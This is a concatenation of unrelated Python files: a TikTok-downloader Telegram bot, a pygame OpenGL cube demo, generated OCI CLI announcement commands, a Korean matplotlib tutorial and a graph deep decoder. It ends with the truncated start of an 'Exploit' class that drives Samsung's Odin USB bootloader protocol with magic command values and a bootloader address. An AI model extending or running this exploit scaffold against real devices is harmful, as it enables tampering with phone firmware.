import json
import time
import requests
from requests import *
from datetime import datetime
from config import *
from tiktok_module import downloader

api = "https://api.telegram.org/bot" + token_bot
update_id = 0

def SendVideo(userid,msgid):
	tg_url = api + "/sendvideo"
	data = {
		"chat_id":userid,
		"caption":"تم تنزْيلُِ عٍبَرٍ : @SEL_TK_BOT \n\n𝚂𝙴𝙻𝚅𝙴𝚁 - 𝙳𝙴𝚅 : 𖥳𖥳𖥳 @SELVER7 𖥳𖥳𖥳\n𝙲𝙷 : 𖥳𖥳𖥳 @M_GO_17q 𖥳𖥳𖥳",
		"parse_mode":"html",
		"reply_to_message_id":msgid,
		"reply_markup":json.dumps({
			"inline_keyboard":[
				[
					{
						"text":"𝚂𝙴𝙻𝚅𝙴𝚁 - 𝙳𝙴𝚅 <3",
						"url":"https://t.me/SELVER7"
					}
				]
			]
		})
	}
	res = post(
		tg_url,
		data=data,
		files={
			"video":open("video.mp4","rb")
		}
	)

def SendMsg(userid,text,msgid):
	tg_url = api + "/sendmessage"
	post(
		tg_url,
		json={
			"chat_id":userid,
			"text":text,
			"parse_mode":"html",
			"reply_to_message_id":msgid
		}
	)

def get_time(tt):
	ttime = datetime.fromtimestamp(tt)
	return f"{ttime.hour}-{ttime.minute}-{ttime.second}-{ttime.day}-{ttime.month}-{ttime.year}"

def Bot(update):
	try:
		global last_use
		userid = update['message']['chat']['id']
		meseg = update['message']['text']
		msgid = update['message']['message_id']
		timee = update['message']['date']
		dl = downloader.tiktok_downloader()
		if update['message']['chat']['type'] != "private":
			SendMsg(
				userid,
				"آلُِبَوُت يعٍملُِ فُقٌطُ فُي آلُِدِرٍدِشُة آلُِخـآصة!",
				msgid
			)
			return
		first_name = update['message']['chat']['first_name']
		print(f"{get_time(timee)}-> {userid} - {first_name} -> {meseg}")
		if meseg.startswith('/start'):
			SendMsg(
				userid,
				"آهـلُِآبَڪ فُي بَوُت تحٍميلُِ فُيدِيوُهـآت من تيڪ توُڪ\n\nڪيفُ تستخـدِم هـذَآ بَوُت ؟ :\nفُقٌطُ آرٍسلُِ رٍآبَطُ فُيدِيوُ من تيڪ توُڪ آلُِي هـذَآ بَوُت !!\n",
				msgid
			)
		elif "tiktok.com" in meseg and "https://" in meseg :
			getvid = dl.musicaldown(url=meseg,output_name="video.mp4")
			if getvid == False:
				SendMsg(
					userid,
					"فُشُلُِ فُي تحٍميلُِ فُيدِيوُ\n\nحاول مجددا لا حقا",
					msgid
				)
				return
			elif getvid == "private/remove":
				SendMsg(
					userid,
					"فُشُلُِ فُي تحٍميلُِ فُيدِيوُ\n\nڪآن آلُِفُيدِيوُ خـآصًآ أوُ تمت إزْآلُِته",
					msgid
				)
			elif getvid == "file size is to large":
				SendMsg(
					userid,
					"فُشُلُِ فُي تحٍميلُِ فُيدِيوُ\n\nحٍجٍم فُيدِيوُ ڪبَيرٍ ",
					msgid
				)
			else:
				SendVideo(
					userid,
					msgid
				)
		elif "/help" in meseg:
			SendMsg(
				userid,
				"ڪيفُ تستخـدِم هـذَآ بَوُت ؟ :\فُقٌطُ آرٍسلُِ رٍآبَطُ فُيدِيوُ من تيڪ توُڪ آلُِي هـذَآ بَوُت ! ",
				msgid
			)
		elif meseg.startswith("/donation"):
			SendMsg(
				userid,
				"Support me on\n\nko-fi (EN): https://ko-fi.com/fowawaztruffle\nsaweria (ID): https://saweria.co/fowawaztruffle\ntrakteerid (ID): https://trakteer.id/fowawaz\nQRIS (EWALLET,BANK): https://s.id/nusantara-qr",
				msgid
			)
	except KeyError:
		return


import pygame
from pygame.locals import *

from gl import Renderer
import shaders

deltaTime = 0.0

# Inicializacion de pygame
pygame.init()
clock = pygame.time.Clock()
screenSize = (960, 540)
screen = pygame.display.set_mode(screenSize, DOUBLEBUF | OPENGL)

# Inicializacion de nuestro Renderer en OpenGL
r = Renderer(screen)
r.setShaders(shaders.vertex_shader, shaders.fragment_shader)
r.createObjects()

cubeX = 0
cubeY = 0
cubeZ = 0
cubeP = 0
cubeR = 0
cubeYawl = 0

isPlaying = True
while isPlaying:

    # Para revisar si una tecla esta presionada
    keys = pygame.key.get_pressed()
    if keys[pygame.K_a]:
        cubeX -= 2 * deltaTime
    if keys[pygame.K_d]:
        cubeX += 2 * deltaTime
    if keys[pygame.K_w]:
        cubeY -= 2 * deltaTime
    if keys[pygame.K_s]:
        cubeY += 2 * deltaTime
    if keys[pygame.K_z]:
        cubeZ -= 2 * deltaTime
    if keys[pygame.K_x]:
        cubeZ += 2 * deltaTime
    if keys[pygame.K_UP]:
        cubeP += 25 * deltaTime
    if keys[pygame.K_DOWN]:
        cubeP -= 25 * deltaTime
    if keys[pygame.K_LEFT]:
        cubeR += 25 * deltaTime
    if keys[pygame.K_RIGHT]:
        cubeR -= 25 * deltaTime
    if keys[pygame.K_y]:
        cubeYawl -= 25 * deltaTime
    if keys[pygame.K_u]:
        cubeYawl += 25 * deltaTime
    if keys[pygame.K_F5]:
        cubeX = 0
        cubeY = 0
        cubeZ = 0
        cubeP = 0
        cubeR = 0
        cubeYawl = 0

    for ev in pygame.event.get():
        if ev.type == pygame.QUIT:
            isPlaying = False
        elif ev.type == pygame.KEYDOWN:
            # para revisar en el momento que se presiona una tecla
            if ev.key == pygame.K_1:
                r.filledMode()
            elif ev.key == pygame.K_2:
                r.wireframeMode
            elif ev.key == pygame.K_ESCAPE:
                isPlaying = False

    r.translateCube(cubeX, cubeY, cubeZ)
    r.rollCube(cubeR)
    r.pitchCube(cubeP)
    r.yawlCube(cubeYawl)
    # Main Renderer Loop
    r.render()

    pygame.display.flip()
    clock.tick(60)
    deltaTime = clock.get_time() / 1000

pygame.quit()


from __future__ import print_function
import click
import oci  # noqa: F401
import six  # noqa: F401
import sys  # noqa: F401
from oci_cli import cli_constants  # noqa: F401
from oci_cli import cli_util
from oci_cli import json_skeleton_utils
from oci_cli import custom_types  # noqa: F401
from oci_cli.aliasing import CommandGroupWithAlias
from services.announcements_service.src.oci_cli_announcements_service.generated import announce_service_cli

@click.command(cli_util.override('announcement.announcement_root_group.command_name', 'announcement'), cls=CommandGroupWithAlias, help=cli_util.override('announcement.announcement_root_group.help', """Manage Oracle Cloud Infrastructure console announcements."""), short_help=cli_util.override('announcement.announcement_root_group.short_help', """Announcements Service API"""))
@cli_util.help_option_group
def announcement_root_group():
    pass

@click.command(cli_util.override('announcement.announcements_collection_group.command_name', 'announcements-collection'), cls=CommandGroupWithAlias, help="""A list of announcements that match filter criteria, if any. Results contain both the announcements and the user-specific status of the announcements.""")
@cli_util.help_option_group
def announcements_collection_group():
    pass

@click.command(cli_util.override('announcement.announcement_user_status_details_group.command_name', 'announcement-user-status-details'), cls=CommandGroupWithAlias, help="""An announcement's status regarding whether it has been acknowledged by a user.""")
@cli_util.help_option_group
def announcement_user_status_details_group():
    pass

@click.command(cli_util.override('announcement.announcement_group.command_name', 'announcement'), cls=CommandGroupWithAlias, help="""A message about an impactful operational event.""")
@cli_util.help_option_group
def announcement_group():
    pass

announce_service_cli.announce_service_group.add_command(announcement_root_group)
announcement_root_group.add_command(announcements_collection_group)
announcement_root_group.add_command(announcement_user_status_details_group)
announcement_root_group.add_command(announcement_group)

@announcement_group.command(name=cli_util.override('announcement.get_announcement.command_name', 'get'), help=u"""Gets the details of a specific announcement.

This call is subject to an Announcements limit that applies to the total number of requests across all read or write operations. Announcements might throttle this call to reject an otherwise valid request when the total rate of operations exceeds 20 requests per second for a given user. The service might also throttle this call to reject an otherwise valid request when the total rate of operations exceeds 100 requests per second for a given tenancy. \n[Command Reference](getAnnouncement)""")
@cli_util.option('--announcement-id', required=True, help=u"""The OCID of the announcement.""")
@json_skeleton_utils.get_cli_json_input_option({})
@cli_util.help_option
@click.pass_context
@json_skeleton_utils.json_skeleton_generation_handler(input_params_to_complex_types={}, output_type={'module': 'announcements_service', 'class': 'Announcement'})
@cli_util.wrap_exceptions
def get_announcement(ctx, from_json, announcement_id):

    if isinstance(announcement_id, six.string_types) and len(announcement_id.strip()) == 0:
        raise click.UsageError('Parameter --announcement-id cannot be whitespace or empty string')

    kwargs = {}
    kwargs['opc_request_id'] = cli_util.use_or_generate_request_id(ctx.obj['request_id'])
    client = cli_util.build_client('announcements_service', 'announcement', ctx)
    result = client.get_announcement(
        announcement_id=announcement_id,
        **kwargs
    )
    cli_util.render_response(result, ctx)

@announcement_user_status_details_group.command(name=cli_util.override('announcement.get_announcement_user_status.command_name', 'get-announcement-user-status'), help=u"""Gets information about whether a specific announcement was acknowledged by a user.

This call is subject to an Announcements limit that applies to the total number of requests across all read or write operations. Announcements might throttle this call to reject an otherwise valid request when the total rate of operations exceeds 20 requests per second for a given user. The service might also throttle this call to reject an otherwise valid request when the total rate of operations exceeds 100 requests per second for a given tenancy. \n[Command Reference](getAnnouncementUserStatus)""")
@cli_util.option('--announcement-id', required=True, help=u"""The OCID of the announcement.""")
@json_skeleton_utils.get_cli_json_input_option({})
@cli_util.help_option
@click.pass_context
@json_skeleton_utils.json_skeleton_generation_handler(input_params_to_complex_types={}, output_type={'module': 'announcements_service', 'class': 'AnnouncementUserStatusDetails'})
@cli_util.wrap_exceptions
def get_announcement_user_status(ctx, from_json, announcement_id):

    if isinstance(announcement_id, six.string_types) and len(announcement_id.strip()) == 0:
        raise click.UsageError('Parameter --announcement-id cannot be whitespace or empty string')

    kwargs = {}
    kwargs['opc_request_id'] = cli_util.use_or_generate_request_id(ctx.obj['request_id'])
    client = cli_util.build_client('announcements_service', 'announcement', ctx)
    result = client.get_announcement_user_status(
        announcement_id=announcement_id,
        **kwargs
    )
    cli_util.render_response(result, ctx)

@announcements_collection_group.command(name=cli_util.override('announcement.list_announcements.command_name', 'list-announcements'), help=u"""Gets a list of announcements for the current tenancy.

This call is subject to an Announcements limit that applies to the total number of requests across all read or write operations. Announcements might throttle this call to reject an otherwise valid request when the total rate of operations exceeds 20 requests per second for a given user. The service might also throttle this call to reject an otherwise valid request when the total rate of operations exceeds 100 requests per second for a given tenancy. \n[Command Reference](listAnnouncements)""")
@cli_util.option('--compartment-id', required=True, help=u"""The OCID of the compartment.""")
@cli_util.option('--limit', type=click.INT, help=u"""The maximum number of items to return in a paginated \"List\" call.""")
@cli_util.option('--page', help=u"""The value of the `opc-next-page` response header from the previous \"List\" call.""")
@cli_util.option('--announcement-type', help=u"""The type of announcement.""")
@cli_util.option('--lifecycle-state', type=custom_types.CliCaseInsensitiveChoice(["ACTIVE", "INACTIVE"]), help=u"""The announcement's current lifecycle state.""")
@cli_util.option('--is-banner', type=click.BOOL, help=u"""Whether the announcement is displayed as a console banner.""")
@cli_util.option('--sort-by', type=custom_types.CliCaseInsensitiveChoice(["timeOneValue", "timeTwoValue", "timeCreated", "referenceTicketNumber", "summary", "announcementType"]), help=u"""The criteria to sort by. You can specify only one sort order.""")
@cli_util.option('--sort-order', type=custom_types.CliCaseInsensitiveChoice(["ASC", "DESC"]), help=u"""The sort order to use. (Sorting by `announcementType` orders the announcements list according to importance.)""")
@cli_util.option('--time-one-earliest-time', type=custom_types.CLI_DATETIME, help=u"""The boundary for the earliest `timeOneValue` date on announcements that you want to see.""" + custom_types.CLI_DATETIME.VALID_DATETIME_CLI_HELP_MESSAGE)
@cli_util.option('--time-one-latest-time', type=custom_types.CLI_DATETIME, help=u"""The boundary for the latest `timeOneValue` date on announcements that you want to see.""" + custom_types.CLI_DATETIME.VALID_DATETIME_CLI_HELP_MESSAGE)
@cli_util.option('--environment-name', help=u"""A filter to return only announcements that match a specific environment name.""")
@cli_util.option('--service', help=u"""A filter to return only announcements affecting a specific service.""")
@cli_util.option('--platform-type', type=custom_types.CliCaseInsensitiveChoice(["IAAS", "SAAS"]), help=u"""A filter to return only announcements affecting a specific platform.""")
@cli_util.option('--exclude-announcement-types', multiple=True, help=u"""Exclude The type of announcement.""")
@cli_util.option('--should-show-only-latest-in-chain', type=click.BOOL, help=u"""A filter to display only the latest announcement in a chain.""")
@cli_util.option('--chain-id', help=u"""A filter to return only announcements belonging to the specified announcement chain ID.""")
@cli_util.option('--all', 'all_pages', is_flag=True, help="""Fetches all pages of results. If you provide this option, then you cannot provide the --limit option.""")
@cli_util.option('--page-size', type=click.INT, help="""When fetching results, the number of results to fetch per call. Only valid when used with --all or --limit, and ignored otherwise.""")
@json_skeleton_utils.get_cli_json_input_option({'exclude-announcement-types': {'module': 'announcements_service', 'class': 'list[string]'}})
@cli_util.help_option
@click.pass_context
@json_skeleton_utils.json_skeleton_generation_handler(input_params_to_complex_types={'exclude-announcement-types': {'module': 'announcements_service', 'class': 'list[string]'}}, output_type={'module': 'announcements_service', 'class': 'AnnouncementsCollection'})
@cli_util.wrap_exceptions
def list_announcements(ctx, from_json, all_pages, page_size, compartment_id, limit, page, announcement_type, lifecycle_state, is_banner, sort_by, sort_order, time_one_earliest_time, time_one_latest_time, environment_name, service, platform_type, exclude_announcement_types, should_show_only_latest_in_chain, chain_id):

    if all_pages and limit:
        raise click.UsageError('If you provide the --all option you cannot provide the --limit option')

    kwargs = {}
    if limit is not None:
        kwargs['limit'] = limit
    if page is not None:
        kwargs['page'] = page
    if announcement_type is not None:
        kwargs['announcement_type'] = announcement_type
    if lifecycle_state is not None:
        kwargs['lifecycle_state'] = lifecycle_state
    if is_banner is not None:
        kwargs['is_banner'] = is_banner
    if sort_by is not None:
        kwargs['sort_by'] = sort_by
    if sort_order is not None:
        kwargs['sort_order'] = sort_order
    if time_one_earliest_time is not None:
        kwargs['time_one_earliest_time'] = time_one_earliest_time
    if time_one_latest_time is not None:
        kwargs['time_one_latest_time'] = time_one_latest_time
    if environment_name is not None:
        kwargs['environment_name'] = environment_name
    if service is not None:
        kwargs['service'] = service
    if platform_type is not None:
        kwargs['platform_type'] = platform_type
    if exclude_announcement_types is not None and len(exclude_announcement_types) > 0:
        kwargs['exclude_announcement_types'] = exclude_announcement_types
    if should_show_only_latest_in_chain is not None:
        kwargs['should_show_only_latest_in_chain'] = should_show_only_latest_in_chain
    if chain_id is not None:
        kwargs['chain_id'] = chain_id
    kwargs['opc_request_id'] = cli_util.use_or_generate_request_id(ctx.obj['request_id'])
    client = cli_util.build_client('announcements_service', 'announcement', ctx)
    if all_pages:
        if page_size:
            kwargs['limit'] = page_size

        result = cli_util.list_call_get_all_results(
            client.list_announcements,
            compartment_id=compartment_id,
            **kwargs
        )
    elif limit is not None:
        result = cli_util.list_call_get_up_to_limit(
            client.list_announcements,
            limit,
            page_size,
            compartment_id=compartment_id,
            **kwargs
        )
    else:
        result = client.list_announcements(
            compartment_id=compartment_id,
            **kwargs
        )
    cli_util.render_response(result, ctx)

@announcement_user_status_details_group.command(name=cli_util.override('announcement.update_announcement_user_status.command_name', 'update-announcement-user-status'), help=u"""Updates the status of the specified announcement with regard to whether it has been marked as read.

This call is subject to an Announcements limit that applies to the total number of requests across all read or write operations. Announcements might throttle this call to reject an otherwise valid request when the total rate of operations exceeds 20 requests per second for a given user. The service might also throttle this call to reject an otherwise valid request when the total rate of operations exceeds 100 requests per second for a given tenancy. \n[Command Reference](updateAnnouncementUserStatus)""")
@cli_util.option('--announcement-id', required=True, help=u"""The OCID of the announcement.""")
@cli_util.option('--user-status-announcement-id', required=True, help=u"""The OCID of the announcement that this status is associated with.""")
@cli_util.option('--user-id', required=True, help=u"""The OCID of the user that this status is associated with.""")
@cli_util.option('--time-acknowledged', type=custom_types.CLI_DATETIME, help=u"""The date and time the announcement was acknowledged, expressed in [RFC 3339] timestamp format. Example: `2019-01-01T17:43:01.389+0000`""" + custom_types.CLI_DATETIME.VALID_DATETIME_CLI_HELP_MESSAGE)
@cli_util.option('--if-match', help=u"""The locking version, used for optimistic concurrency control.""")
@json_skeleton_utils.get_cli_json_input_option({})
@cli_util.help_option
@click.pass_context
@json_skeleton_utils.json_skeleton_generation_handler(input_params_to_complex_types={}, output_type={'module': 'announcements_service', 'class': 'AnnouncementUserStatusDetails'})
@cli_util.wrap_exceptions
def update_announcement_user_status(ctx, from_json, announcement_id, user_status_announcement_id, user_id, time_acknowledged, if_match):

    if isinstance(announcement_id, six.string_types) and len(announcement_id.strip()) == 0:
        raise click.UsageError('Parameter --announcement-id cannot be whitespace or empty string')

    kwargs = {}
    if if_match is not None:
        kwargs['if_match'] = if_match
    kwargs['opc_request_id'] = cli_util.use_or_generate_request_id(ctx.obj['request_id'])

    _details = {}
    _details['userStatusAnnouncementId'] = user_status_announcement_id
    _details['userId'] = user_id

    if time_acknowledged is not None:
        _details['timeAcknowledged'] = time_acknowledged

    client = cli_util.build_client('announcements_service', 'announcement', ctx)
    result = client.update_announcement_user_status(
        announcement_id=announcement_id,
        status_details=_details,
        **kwargs
    )
    cli_util.render_response(result, ctx)


import numpy as np
import matplotlib.pyplot as plt
plt.rc('font', family='malgun gothic')
plt.rcParams['axes.unicode_minus'] = False

# x = ['서울', '수원', '연천'] list
# x = {'서울', '수원', '연천'} 순서가 없기 때문에 사용 불가 (인덱싱 불가)

'''
x = ('서울', '수원', '연천')
y = [5, 3, 7]
plt.xlim([-1, 3])
plt.ylim([-5, 10])
plt.plot(x, y)
plt.yticks(list(range(-3, 11, 3)))
plt.xlabel('지역명')
plt.ylabel('친구명')
plt.title('선그래프')
plt.show()
'''

'''
# sin 곡선
x = np.arange(10)
y = np.sin(x)
print(x, y)
# plt.plot(x, y, 'bo')
plt.plot(x, y, 'go--', linewidth=3, markersize=10)
plt.show()
'''

# hold : '복수의 차트'  그리기 명령을 하나의 figure에 표현할 수 있다.
x = np.arange(0, np.pi * 3, 0.1)
print(x)
y_sin = np.sin(x)
y_cos = np.cos(x)

plt.figure(figsize=(10, 5))
plt.plot(x, y_sin, c='r')
plt.scatter(x, y_cos, c='b')
plt.legend(['sin', 'cosine'], loc=1)  # loc는 시계 반대방향으로 움직인다.
plt.show()

# subplot : 여러 개의 영역으로 나눠 차트를 그린다.
plt.subplot(2, 1, 1)
plt.plot(x, y_sin)
plt.title('sine')

plt.subplot(2, 1, 2)
plt.plot(x, y_cos)
plt.title('cosine')

plt.show()


import copy
from enum import Enum
import math

import numpy as np
import torch
from torch import Tensor, eye, nn
# from torch import Tensor, eye, manual_seed, nn, no_grad, optim

# from graph_deep_decoder.graph_clustering import Ups

# Constants for Upsampling Type
class Ups(Enum):
    NONE = 0
    LI = 1          # Linear Interpolation
    U_MAT = 2       # Directly applies matrix U
    U_MEAN = 3     # Applies matrix U and compute the 1 hop mean
    U_LM = 4        # Learning Mean 1 hope
    GF = 5          # Applies U and then learn a Graph Filter
    NVGF = 6        # Applies U and then learn a NodeVarian-GF

# Error messages
ERR_DIFF_N_LAYERS = 'Length of the nodes and features vector must be the same'
ERR_A_NON_SYM = 'Matrix A for upsampling should be symmetric'
ERR_WRONG_INPUT_SIZE = 'Number of input samples must be 1'
ERR_UNK_UPS = 'Unkown upsampling type {}'
ERR_NO_UPS = 'Upsampling is None but layers have different sizes'

class GraphDecoder(nn.Module):
    """
    This class represent a basic graph decoder with only one layer following
    the model G(C) = ReLU(HC)v, where instead of upsampling a fixed
    low pass graph filter is used.
    """
    def __init__(self, features, H, scale_std=0.01, device='cpu'):
        """
        The arguments are:
        - features: the number of features
        - H: fixed graph filter
        - scale_std: scale the std of the learnable weights initialization
        """
        super().__init__()
        N = H.shape[0]
        self.input = Tensor(H).view([1, N, N]).to(device)
        self.v = torch.ones(features)/math.sqrt(features)
        self.v[math.ceil(features/2):] *= -1
        self.v = self.v.to(device)
        self.conv = nn.Conv1d(N, features, kernel_size=1,
                              bias=False)
        std = scale_std/math.sqrt(N)
        self.conv.weight.data.normal_(0, std)
        self.relu = torch.nn.ReLU()
        self.conv.to(device)

    def forward(self, input):
        return self.relu(self.conv(input)).squeeze().t().mv(self.v)

    def analytical_squared_jacobian(self):
        """
        Return its squared Jacobian computed analitically
        """
        U = self.input.numpy().squeeze()
        C = self.conv.weight.data.numpy().squeeze().T
        diag_v = np.diag(self.v.numpy().squeeze())
        return (U.dot(C) > 0).dot(diag_v**2).dot((U.dot(C) > 0).T)*(U.dot(U.T))

    def autograd_squared_jacobian(self):
        """
        Return its squared Jacobian computed using autograd
        """
        dec_copy = copy.deepcopy(self)
        y = dec_copy(dec_copy.input)
        outs = torch.eye(y.shape[0])

        jac = []
        for out in outs:
            y = dec_copy(dec_copy.input)
            dec_copy.zero_grad()
            y.backward(out[:])
            allgrads = np.zeros(0)
            for p in dec_copy.parameters():
                gra = p.grad.data.numpy().flatten()
                allgrads = np.append(allgrads, gra)
            jac += [allgrads]
        Jac = np.array(jac).squeeze()
        return Jac.dot(Jac.T)

    def count_params(self):
        return sum(p.numel() for p in self.model.parameters()
                   if p.requires_grad)

class GraphDeepDecoder(nn.Module):
    def __init__(self,
                 # Decoder args
                 features, nodes, Us,
                 # Ups args
                 As=None,  ups=Ups.U_MEAN,
                 gamma=0.5, K=2,
                 batch_norm=False,
                 # Activation functions
                 act_fn=nn.Tanh(), last_act_fn=nn.Tanh(),
                 input_std=0.01, w_std=0.01,
                 device='cpu'):
        assert len(features) == len(nodes), ERR_DIFF_N_LAYERS
        assert isinstance(ups, Ups) or ups is None, \
            ERR_UNK_UPS.format(ups)

        super(GraphDeepDecoder, self).__init__()
        self.model = nn.Sequential()
        self.fts = features
        self.nodes = nodes
        self.Us = Us
        self.As = As
        self.ups_type = ups
        self.kernel_size = 1
        self.gamma = gamma
        self.K = K
        self.batch_norm = batch_norm
        self.act_fn = act_fn
        self.last_act_fn = last_act_fn
        self.w_std = w_std/np.sqrt(features)
        self.dev = device
        self.build_network()

        if self.ups_type is None or self.ups_type is Ups.NONE:
            shape = [1, self.fts[0], self.nodes[-1]]
        else:
            shape = [1, self.fts[0], self.nodes[0]]
        std = input_std/np.sqrt(shape[2])
        self.input = Tensor(torch.zeros(shape)).data.normal_(0, std)
        self.input = self.input.to(device)

        self.model.to(device)

    def add_layer(self, module):
        self.model.add_module(str(len(self.model) + 1), module)

    def build_network(self):
        for l in range(len(self.fts)-1):
            conv = nn.Conv1d(self.fts[l], self.fts[l+1], self.kernel_size,
                             bias=False)
            conv.weight.data.normal_(0, self.w_std[l])
            self.add_layer(conv)

            # Check if there is upsampling in layer l
            if self.Us[l] is not None:
                A = self.As[l] if self.As else None

                if self.ups_type is Ups.LI:
                    ups = Interpolate(self.nodes[l], self.nodes[l+1], self.dev)
                elif self.ups_type is Ups.U_MAT:
                    ups = Upsampling(self.Us[l], self.dev)
                elif self.ups_type is Ups.U_MEAN:
                    ups = MeanUps(self.Us[l], A,
                                  self.gamma, self.dev)
                elif self.ups_type is Ups.U_LM:
                    ups = LearnMeanUps(self.Us[l], A,
                                       self.gamma, self.dev)
                elif self.ups_type is Ups.GF:
                    ups = GFUps(self.Us[l], A, self.K, self.dev)
                elif self.ups_type is Ups.NVGF:
                    ups = NVGFUps(self.Us[l], A, self.K, self.dev)
                else:
                    raise RuntimeError('Unknown upsampling type')

                self.add_layer(ups)

            if l < (len(self.fts)-2):
                # Not the last layer
                if self.act_fn is not None:
                    self.add_layer(self.act_fn)
                if self.batch_norm:
                    self.add_layer(nn.BatchNorm1d(self.fts[l+1]))
            else:
                # Last layer
                if self.last_act_fn is not None:
                    self.add_layer(self.last_act_fn)
        return self.model

    def forward(self, x):
        return self.model(x).T.squeeze()

    def count_params(self):
        return sum(p.numel() for p in self.model.parameters()
                   if p.requires_grad)

    def autograd_squared_jacobian(self):
        """
        Return its squared Jacobian computed using autograd
        """
        dec_copy = copy.deepcopy(self)
        y = dec_copy(dec_copy.input)
        outs = torch.eye(y.shape[0])

        jac = []
        for out in outs:
            y = dec_copy(dec_copy.input)
            dec_copy.zero_grad()

            y.backward(out[:])
            allgrads = np.zeros(0)
            for p in dec_copy.parameters():
                gra = p.grad.data.numpy().flatten()
                allgrads = np.append(allgrads, gra)
            jac += [np.array(allgrads)]

        Jac = np.array(jac).squeeze()
        return Jac.dot(Jac.T)

    def Us_norms(self):
        norms = []
        for i, layer in enumerate(self.model):
            if not isinstance(layer, Upsampling):
                continue
            norm = {'layer': i, 'norm': np.linalg.norm(layer.U_T)}
            norms.append(norm)
        return norms

    def Us_to_unit_norm(self):
        for i, layer in enumerate(self.model):
            if not isinstance(layer, Upsampling):
                continue
            layer.U_T /= np.linalg.norm(layer.U_T)

class Upsampling(nn.Module):
    # NOTE: Previous Ups.NO_A
    def __init__(self, U, device='cpu'):
        nn.Module.__init__(self)
        self.child_size = U.shape[0]
        self.parent_size = U.shape[1]
        self.U_T = Tensor(U).t().to(device)

    def forward(self, input):
        assert input.shape[0] == 1, ERR_WRONG_INPUT_SIZE
        # n_channels = input.shape[1]
        # output = input[0, :, :].mm(self.U_T)
        # return output.view([1, n_channels, self.child_size])

        return input.matmul(self.U_T)

# NOTE: Previous Ups.REG
class Interpolate(nn.Module):
    def __init__(self, child_size, parent_size):
        super(Interpolate, self).__init__()
        self.sf = parent_size/child_size

    def forward(self, input):
        assert input.shape[0] == 1, ERR_WRONG_INPUT_SIZE
        return nn.functional.interpolate(input, scale_factor=self.sf,
                                         mode='linear',
                                         align_corners=True)

class MeanUps(Upsampling):
    # NOTE: Previous Ups.BIN/WEI
    def __init__(self, U, A, gamma=0.5, device='cpu'):
        assert A is not None
        assert np.allclose(A, A.T), ERR_A_NON_SYM
        Upsampling.__init__(self, U)
        # NOTE: Not clear if it is better to normalize A!!
        if np.linalg.matrix_rank(np.diag(np.sum(A, 0))) != A.shape[0]:
            self.A = np.linalg.pinv(np.diag(np.sum(A, 0))).dot(A)
        else:
            self.A = np.linalg.inv(np.diag(np.sum(A, 0))).dot(A)
            # D_inv_sqrt = 1/np.sqrt(np.sum(A, 0))
            # self.A = D_inv_sqrt@A@D_inv_sqrt

        # self.A = A
        self.A = gamma*np.eye(A.shape[0]) + (1-gamma)*self.A
        self.A = Tensor(self.A)
        self.U_T = Tensor(U).t().mm(self.A.t()).to(device)

class LearnMeanUps(Upsampling):
    # NOTE: previous Learning Gamma
    def __init__(self, U, A, gamma_init=0.5, device='cpu'):
        assert A is not None
        assert np.allclose(A, A.T), ERR_A_NON_SYM
        Upsampling.__init__(self, U)
        self.gamma = nn.Parameter(Tensor([gamma_init])).to(device)
        self.A = Tensor(np.linalg.inv(np.diag(np.sum(A, 0))).dot(A)).to(device)

    def forward(self, input):
        assert input.shape[0] == 1, ERR_WRONG_INPUT_SIZE
        # NOTE: restrict gamma to [0,1] interval?
        n_channels = input.shape[1]
        A_gamma = self.gamma*eye(self.child_size) + (1-self.gamma)*self.A
        output = input[0, :, :].mm(self.U_T.mm(A_gamma.t()))
        return output.view([1, n_channels, self.child_size])

class GFUps(Upsampling):
    def __init__(self, U, A, K, device='cpu'):
        assert A is not None
        assert np.allclose(A, A.T), ERR_A_NON_SYM
        super(GFUps, self).__init__(U)
        N = A.shape[0]
        self.hs = nn.Parameter(torch.Tensor(K)).to(device)
        stdv = 1. / math.sqrt(K)
        self.hs.data.uniform_(-stdv, stdv)
        self.A = Tensor(A)
        self.K = K
        self.Apows = torch.zeros(K, N, N).to(device)
        for i in range(K):
            self.Apows[i, :, :] = torch.matrix_power(self.A, i)

    def forward(self, input):
        assert input.shape[0] == 1, ERR_WRONG_INPUT_SIZE
        n_channels = input.shape[1]
        H = (self.hs.view([self.K, 1, 1])*self.Apows).sum(0)
        output = input[0, :, :].mm(self.U_T.mm(H))
        return output.view([1, n_channels, self.child_size])

class NVGFUps(Upsampling):
    def __init__(self, U, A, K):
        assert A is not None
        assert np.allclose(A, A.T), ERR_A_NON_SYM
        super(NVGFUps, self).__init__(U)
        N = A.shape[0]
        self.A = Tensor(A)
        self.hs = nn.Parameter(torch.Tensor(K, N))
        # stdv = 1. / math.sqrt(K)
        # self.hs.data.uniform_(-stdv, stdv)
        self.Apows = torch.zeros(K, N, N)
        self.K = K
        for i in range(K):
            self.Apows[i, :, :] = torch.matrix_power(self.A, i)

    def forward(self, input):
        assert input.shape[0] == 1, ERR_WRONG_INPUT_SIZE
        n_channels = input.shape[1]
        H = (self.hs.view([self.K, self.child_size, 1])*self.Apows).sum(0)
        output = input[0, :, :].mm(self.U_T.mm(H.t()))
        return output.view([1, n_channels, self.child_size])


import usb1
import logging
import struct
import argparse
import sys
from odin import Odin, BeginSessionPacket, Packet

class Exploit(object):
    MAGIC_USB_WRITE = 0x8776D35A
    MAGIC_USB_READ = 0xB9F9EAD9
    MAGIC_SLEEP = 0x934ED462
    MAGIC_DISPLAY = 0x3D486FAB
    MAGIC_CLK1 = 0x3300A7FB
    MAGIC_CLK2 = 0x3F392D79
    MAGIC_MMC_STARTUP = 0xCB02B341

    SBOOT_ADDRESS = 0x43E00000

    def __init__(self):
        self._packet_data_size = None
        self._odin = Odin()
        self._odin.open()
        self._sboot = b''

        self.inited = False

    def close(self):
        self._odin.close()

    def write(self, buf):
        self._odin.write(buf)

    def read_nofail(self, sz):
        try:
            return self._odin.read(sz)
        except usb1.USBError:
            logging.debug('Read {} bytes failed'.format(sz))
            return False

    def read_timeout(self, sz, tries=1024):
        for _ in range(tries):
            ret = self.read_nofail(sz)
            if ret:
                break
        else:
            logging.error('Timeout')
            raise Exception('Timeout waiting for read')

        return ret

    def write_pkt(self, pkt):
        pkt = pkt.ljust(1024, b'\0')
        self.write(pkt)

    def open_session(self):
        logging.debug('Opening session')
        self.write(BeginSessionPacket())
        ret = self.read_nofail(8)
        if not ret:
            logging.warning('Cannot open a session')
        else:
            logging.debug('Session opened with result {}'.format(
                struct.unpack('<i', ret[:4])[0]))
            self._packet_data_size = 0x20000
        return ret

    def close_session(self, reboot=0):
        logging.debug('Closing session (reboot={})'.format(reboot))
        pkt = Packet.pack32(0x67) + Packet.pack32(reboot)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_total_bytes(self, totbytes):
        logging.debug('Setting g_total_bytes=0x{:08x}'.format(totbytes))
